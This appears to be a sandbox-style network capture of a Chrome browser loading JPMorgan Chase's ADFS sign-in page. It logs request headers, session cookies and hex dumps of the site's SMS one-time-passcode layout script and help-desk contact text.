https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:12 UTC	264	IN	HTTP/1.1 200 OK Content-Length: 26878 Content-Type: text/javascript Expires: Sun, 09 Feb 2025 18:06:11 GMT ETag: F567E03F667002B993D79E5D13534573B3B3A6E0511A7CD29BE0F792C520E857 Date: Fri, 10 Jan 2025 18:06:11 GMT Vary: Accept-Encoding Connection: close
2025-01-10 18:06:12 UTC	4135	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 53 4d 53 4f 54 50 4c 61 79 6f 75 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 48 69 64 65 20 61 75 74 68 4f 70 74 69 6f 6e 73 20 6f 6e 63 65 20 70 6c 75 67 69 6e 20 69 73 20 73 65 6c 65 63 74 65 64 2e 0a 20 20 20 20 69 66 28 61 75 74 68 4f 70 74 69 6f 6e 73 29 20 7b 0a 09 61 75 74 68 4f 70 74 69 6f 6e 73 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2f 2f 20 72 65 6d 6f 76 65 20 66 75 6c 6c 50 61 67 65 20 64 69 76 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 66 75 6c 6c 50 61 67 65 22 29 2e 72 65 6d 6f 76 65 28 29 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 22 Data Ascii: function SMSOTPLayout() { // Hide authOptions once plugin is selected. if(authOptions) {authOptions.style.display = "none"; } // remove fullPage div document.querySelector("#fullPage").remove() document.body.style.setProperty("
2025-01-10 18:06:12 UTC	98	IN	Data Raw: 36 35 2c 30 2c 30 2c 30 2d 2e 33 31 2e 34 36 2c 39 2e 31 34 2c 39 2e 31 34 2c 30 2c 30 2c 30 2d 2e 30 38 2c 31 2e 35 39 76 34 2e 39 35 61 31 33 2c 31 33 2c 30 2c 30 2c 30 2c 2e 30 36 2c 31 2e 35 36 2e 37 38 2e 37 38 2c 30 2c 30 2c 30 2c 2e 32 39 2e 35 35 2c 31 2e 36 34 2c 31 2e 36 34 2c 30 2c Data Ascii: 65,0,0,0-.31.46,9.14,9.14,0,0,0-.08,1.59v4.95a13,13,0,0,0,.06,1.56.78.78,0,0,0,.29.55,1.64,1.64,0,
2025-01-10 18:06:12 UTC	5840	IN	Data Raw: 30 2c 30 2c 2e 39 32 2e 31 38 68 2e 32 33 76 2e 33 34 68 2d 34 2e 35 34 56 31 38 68 2e 33 34 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 30 2c 2e 38 38 2d 2e 31 37 2e 37 36 2e 37 36 2c 30 2c 30 2c 30 2c 2e 33 31 2d 2e 35 31 2c 31 31 2e 38 35 2c 31 31 2e 38 35 2c 30 2c 30 2c 30 2c 2e 30 36 2d 31 2e 36 32 5a 6d 2d 31 31 2c 2e 32 33 68 2e 34 34 76 34 2e 36 31 68 2d 2e 34 34 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 30 2d 2e 36 33 2d 31 2e 33 39 2c 35 2e 35 35 2c 35 2e 35 35 2c 30 2c 30 2c 31 2d 34 2e 33 37 2c 31 2e 39 35 2c 36 2e 31 38 2c 36 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 36 2d 31 2e 38 2c 36 2e 34 36 2c 36 2e 34 36 2c 30 2c 30 2c 31 2d 31 2e 37 39 2d 34 2e 37 36 2c 38 2e 33 38 2c 38 2e 33 38 2c 30 2c 30 2c 31 2c 2e 38 32 2d 33 2e 36 36 2c 35 2e 36 Data Ascii: 0,0,.92.18h.23v.34h-4.54V18h.34a1.66,1.66,0,0,0,.88-.17.76.76,0,0,0,.31-.51,11.85,11.85,0,0,0,.06-1.62Zm-11,.23h.44v4.61h-.44a3.52,3.52,0,0,0-.63-1.39,5.55,5.55,0,0,1-4.37,1.95,6.18,6.18,0,0,1-4.6-1.8,6.46,6.46,0,0,1-1.79-4.76,8.38,8.38,0,0,1,.82-3.66,5.6
2025-01-10 18:06:12 UTC	2779	IN	Data Raw: 65 6d 6f 76 65 28 29 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 72 65 67 75 6c 61 72 56 69 65 77 22 29 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 22 22 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 72 65 67 75 6c 61 72 56 69 65 77 22 29 2e 69 64 20 3d 20 22 73 65 63 6f 6e 64 2d 66 61 63 74 6f 72 22 0a 20 20 20 20 7d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6d 66 61 47 72 65 65 74 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 27 29 2e 72 65 6d 6f 76 65 28 29 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 68 65 6c 70 27 29 2e 72 65 6d 6f 76 65 28 29 0a 20 20 Data Ascii: emove() document.getElementById("regularView").className = ""; document.getElementById("regularView").id = "second-factor" } document.getElementById('mfaGreetingDescription').remove() document.getElementById('help').remove()
2025-01-10 18:06:12 UTC	4380	IN	Data Raw: 6e 74 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 6f 64 61 6c 48 65 61 64 65 72 29 0a 20 20 20 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 6f 64 61 6c 42 6f 64 79 29 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6d 6f 64 61 6c 44 6f 63 75 6d 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 0a 20 20 20 20 6d 6f 64 61 6c 44 6f 63 75 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 22 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 20 69 6e 6c 69 6e 65 2d 6d 6f 64 61 6c 20 69 6e 6c 69 6e 65 2d 73 68 6f 72 74 22 0a 20 20 20 20 6d 6f 64 61 6c 44 6f 63 75 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 72 6f 6c 65 27 2c 20 27 64 69 61 6c 6f 67 27 29 0a 20 20 20 20 6d 6f 64 Data Ascii: ntent.appendChild(modalHeader) modalContent.appendChild(modalBody) const modalDocument = document.createElement('div') modalDocument.className = "modal-dialog inline-modal inline-short" modalDocument.setAttribute('role', 'dialog') mod
2025-01-10 18:06:12 UTC	1460	IN	Data Raw: 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 63 6f 6e 74 61 63 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 70 6c 65 61 73 65 20 63 61 6c 6c 20 48 52 20 41 6e 73 77 65 72 73 20 61 74 20 31 2d 38 37 37 2d 35 37 36 2d 32 34 32 37 20 69 6e 20 74 68 65 20 55 2e 53 2e 20 6f 72 20 76 69 65 77 20 6f 75 72 20 6f 74 68 65 72 20 3c 61 20 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 22 56 69 65 77 20 6f 74 68 65 72 20 63 6f 6e 74 61 63 74 20 6e 75 6d 62 65 72 73 5c 22 20 74 61 62 69 6e 64 65 78 3d 5c 22 30 5c 22 20 63 6c 61 73 73 3d 5c 22 66 61 71 2d 6c 69 6e 6b 20 68 72 2d 6e 75 6d 62 65 72 73 5c 22 3e 63 6f 6e 74 61 63 74 20 6e 75 6d 62 65 72 73 3c 2f 61 3e 2e 22 0a 20 20 20 20 6c 69 36 2e 74 65 78 74 43 6f 6e 74 65 6e 74 20 3d 20 22 49 66 20 79 6f 75 20 68 61 76 65 20 Data Ascii: to update your contact information, please call HR Answers at 1-877-576-2427 in the U.S. or view our other <a aria-label=\"View other contact numbers\" tabindex=\"0\" class=\"faq-link hr-numbers\">contact numbers</a>." li6.textContent = "If you have
2025-01-10 18:06:12 UTC	4774	IN	Data Raw: 2d 6c 69 6e 6b 20 68 72 2d 6e 75 6d 62 65 72 73 5c 22 3e 63 6f 6e 74 61 63 74 20 6e 75 6d 62 65 72 73 3c 2f 61 3e 20 66 6f 72 20 66 75 72 74 68 65 72 20 61 73 73 69 73 74 61 6e 63 65 2e 22 0a 0a 0a 20 20 20 20 63 6f 6e 73 74 20 63 6f 6e 74 65 6e 74 57 72 61 70 44 69 76 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 0a 20 20 20 20 63 6f 6e 74 65 6e 74 57 72 61 70 44 69 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 70 31 29 0a 20 20 20 20 63 6f 6e 74 65 6e 74 57 72 61 70 44 69 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 75 6c 31 29 0a 20 20 20 20 63 6f 6e 74 65 6e 74 57 72 61 70 44 69 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 70 32 29 0a 20 20 20 20 63 6f 6e 74 65 6e 74 57 72 61 70 44 69 76 2e 61 70 70 65 6e 64 43 Data Ascii: -link hr-numbers\">contact numbers</a> for further assistance." const contentWrapDiv = document.createElement('div') contentWrapDiv.appendChild(p1) contentWrapDiv.appendChild(ul1) contentWrapDiv.appendChild(p2) contentWrapDiv.appendC
2025-01-10 18:06:12 UTC	3412	IN	Data Raw: 6c 61 73 73 3d 5c 22 5c 22 3e 3c 74 64 20 63 6c 61 73 73 3d 5c 22 70 6c 2d 34 20 63 6f 6c 2d 36 20 74 61 62 6c 65 2d 62 6f 72 64 65 72 2d 68 65 6c 70 65 72 5c 22 3e 3c 62 3e 41 75 73 74 72 61 6c 69 61 3c 2f 62 3e 3c 62 72 3e 31 2d 38 30 30 2d 37 39 38 2d 31 35 32 3c 2f 74 64 3e 3c 74 64 20 63 6c 61 73 73 3d 5c 22 70 6c 2d 34 20 74 61 62 6c 65 2d 62 6f 72 64 65 72 2d 68 65 6c 70 65 72 5c 22 3e 3c 62 3e 50 68 69 6c 69 70 70 69 6e 65 73 20 28 50 4c 44 54 2f 53 6d 61 72 74 2f 53 75 6e 2f 54 4e 54 29 3c 2f 62 3e 3c 62 72 3e 31 2d 38 30 30 2d 31 30 33 39 2d 36 33 36 30 31 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 74 72 20 63 6c 61 73 73 3d 5c 22 5c 22 3e 3c 74 64 20 63 6c 61 73 73 3d 5c 22 70 6c 2d 34 20 63 6f 6c 2d 36 20 74 61 62 6c 65 2d 62 6f 72 64 65 72 2d 68 65 6c Data Ascii: lass=\"\"><td class=\"pl-4 col-6 table-border-helper\"><b>Australia</b><br>1-800-798-152</td><td class=\"pl-4 table-border-helper\"><b>Philippines (PLDT/Smart/Sun/TNT)</b><br>1-800-1039-63601</td></tr><tr class=\"\"><td class=\"pl-4 col-6 table-border-hel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49809	170.148.240.44	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:13 UTC	480	OUT	GET /adfs/portal/script/mfaotpsms.js HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:13 UTC	396	IN	HTTP/1.1 200 OK Content-Length: 26878 Content-Type: text/javascript Expires: Sun, 09 Feb 2025 18:06:13 GMT ETag: F567E03F667002B993D79E5D13534573B3B3A6E0511A7CD29BE0F792C520E857 Date: Fri, 10 Jan 2025 18:06:13 GMT Vary: Accept-Encoding Connection: close Set-Cookie: ppnet_4651=!kWz4Xnpk3d6TReuZhJMQ0PSsXfzmWZ/OzL/GyK56UgRsUTwNevGQUuuCEPIN5VAyvbosgZtfn4syZA==; path=/; Httponly; Secure
2025-01-10 18:06:13 UTC	4135	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 53 4d 53 4f 54 50 4c 61 79 6f 75 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 48 69 64 65 20 61 75 74 68 4f 70 74 69 6f 6e 73 20 6f 6e 63 65 20 70 6c 75 67 69 6e 20 69 73 20 73 65 6c 65 63 74 65 64 2e 0a 20 20 20 20 69 66 28 61 75 74 68 4f 70 74 69 6f 6e 73 29 20 7b 0a 09 61 75 74 68 4f 70 74 69 6f 6e 73 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2f 2f 20 72 65 6d 6f 76 65 20 66 75 6c 6c 50 61 67 65 20 64 69 76 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 66 75 6c 6c 50 61 67 65 22 29 2e 72 65 6d 6f 76 65 28 29 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 22 Data Ascii: function SMSOTPLayout() { // Hide authOptions once plugin is selected. if(authOptions) {authOptions.style.display = "none"; } // remove fullPage div document.querySelector("#fullPage").remove() document.body.style.setProperty("
2025-01-10 18:06:13 UTC	1369	IN	Data Raw: 36 35 2c 30 2c 30 2c 30 2d 2e 33 31 2e 34 36 2c 39 2e 31 34 2c 39 2e 31 34 2c 30 2c 30 2c 30 2d 2e 30 38 2c 31 2e 35 39 76 34 2e 39 35 61 31 33 2c 31 33 2c 30 2c 30 2c 30 2c 2e 30 36 2c 31 2e 35 36 2e 37 38 2e 37 38 2c 30 2c 30 2c 30 2c 2e 32 39 2e 35 35 2c 31 2e 36 34 2c 31 2e 36 34 2c 30 2c 30 2c 30 2c 2e 39 32 2e 31 38 68 2e 32 33 76 2e 33 34 68 2d 34 2e 35 34 56 31 38 68 2e 33 34 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 30 2c 2e 38 38 2d 2e 31 37 2e 37 36 2e 37 36 2c 30 2c 30 2c 30 2c 2e 33 31 2d 2e 35 31 2c 31 31 2e 38 35 2c 31 31 2e 38 35 2c 30 2c 30 2c 30 2c 2e 30 36 2d 31 2e 36 32 5a 6d 2d 31 31 2c 2e 32 33 68 2e 34 34 76 34 2e 36 31 68 2d 2e 34 34 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 30 2d 2e 36 33 2d 31 2e 33 39 2c 35 2e 35 35 2c 35 Data Ascii: 65,0,0,0-.31.46,9.14,9.14,0,0,0-.08,1.59v4.95a13,13,0,0,0,.06,1.56.78.78,0,0,0,.29.55,1.64,1.64,0,0,0,.92.18h.23v.34h-4.54V18h.34a1.66,1.66,0,0,0,.88-.17.76.76,0,0,0,.31-.51,11.85,11.85,0,0,0,.06-1.62Zm-11,.23h.44v4.61h-.44a3.52,3.52,0,0,0-.63-1.39,5.55,5
2025-01-10 18:06:13 UTC	7240	IN	Data Raw: 32 38 76 2d 2e 33 34 61 33 2c 33 2c 30 2c 30 2c 30 2c 31 2d 2e 31 31 2e 34 32 2e 34 32 2c 30 2c 30 2c 30 2c 2e 32 35 2d 2e 34 33 2c 34 2e 32 39 2c 34 2e 32 39 2c 30 2c 30 2c 30 2d 2e 33 34 2d 31 5a 6d 2d 31 31 2e 36 31 2d 2e 35 38 68 34 2e 33 34 76 2e 33 34 61 32 2e 32 2c 32 2e 32 2c 30 2c 30 2c 30 2d 31 2c 2e 31 35 2e 37 32 2e 37 32 2c 30 2c 30 2c 30 2d 2e 33 34 2e 34 39 2c 31 30 2e 30 37 2c 31 30 2e 30 37 2c 30 2c 30 2c 30 2d 2e 30 38 2c 31 2e 36 35 76 31 2e 30 38 6c 2d 2e 33 32 2c 30 61 34 2e 35 32 2c 34 2e 35 32 2c 30 2c 30 2c 30 2d 31 2e 34 39 2e 33 35 2c 36 2e 36 33 2c 36 2e 36 33 2c 30 2c 30 2c 31 2d 32 2e 33 33 2e 34 37 2c 34 2e 38 38 2c 34 2e 38 38 2c 30 2c 30 2c 31 2d 35 2d 35 41 35 2e 37 33 2c 35 2e 37 33 2c 30 2c 30 2c 31 2c 36 39 2c 39 2e 37 Data Ascii: 28v-.34a3,3,0,0,0,1-.11.42.42,0,0,0,.25-.43,4.29,4.29,0,0,0-.34-1Zm-11.61-.58h4.34v.34a2.2,2.2,0,0,0-1,.15.72.72,0,0,0-.34.49,10.07,10.07,0,0,0-.08,1.65v1.08l-.32,0a4.52,4.52,0,0,0-1.49.35,6.63,6.63,0,0,1-2.33.47,4.88,4.88,0,0,1-5-5A5.73,5.73,0,0,1,69,9.7
2025-01-10 18:06:13 UTC	14134	IN	Data Raw: 6e 74 65 6e 74 27 0a 20 20 20 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 2e 61 72 69 61 4c 61 62 65 6c 20 3d 20 6d 6f 64 61 6c 54 69 74 6c 65 0a 20 20 20 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 20 22 64 6f 63 75 6d 65 6e 74 22 29 0a 20 20 20 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 6f 64 61 6c 48 65 61 64 65 72 29 0a 20 20 20 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 6f 64 61 6c 42 6f 64 79 29 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6d 6f 64 61 6c 44 6f 63 75 6d 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 0a 20 20 20 20 6d 6f 64 61 6c 44 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: ntent' modalContent.ariaLabel = modalTitle modalContent.setAttribute("role", "document") modalContent.appendChild(modalHeader) modalContent.appendChild(modalBody) const modalDocument = document.createElement('div') modalDocument.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49810	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:13 UTC	1997	OUT	GET /favicon.ico HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:13 UTC	188	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Date: Fri, 10 Jan 2025 18:06:13 GMT X-Cnection: close Content-Length: 315 Vary: Accept-Encoding Connection: close
2025-01-10 18:06:13 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49820	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:29 UTC	2114	OUT	GET /adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcph7722scLS_XyrnbuUOcy93kG92r [TRUNCATED] Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!kWz4Xnpk3d6TReuZhJMQ0PSsXfzmWZ/OzL/GyK56UgRsUTwNevGQUuuCEPIN5VAyvbosgZtfn4syZA==
2025-01-10 18:06:29 UTC	381	IN	HTTP/1.1 200 OK Cache-Control: no-cache,no-store Content-Length: 43636 Content-Type: text/html; charset=utf-8 Expires: -1 pragma: no-cache x-frame-options: DENY Date: Fri, 10 Jan 2025 18:06:29 GMT Vary: Accept-Encoding Connection: close Set-Cookie: ppnet_4651=!yv4xKxtxhjonGVaSYQ1AryCmFyCHSW/4gu0WW2TD/P0bosaYbG9f3JDLE9fXmj/Ej9OEf2vCAJx0LJY=; path=/; Httponly; Secure
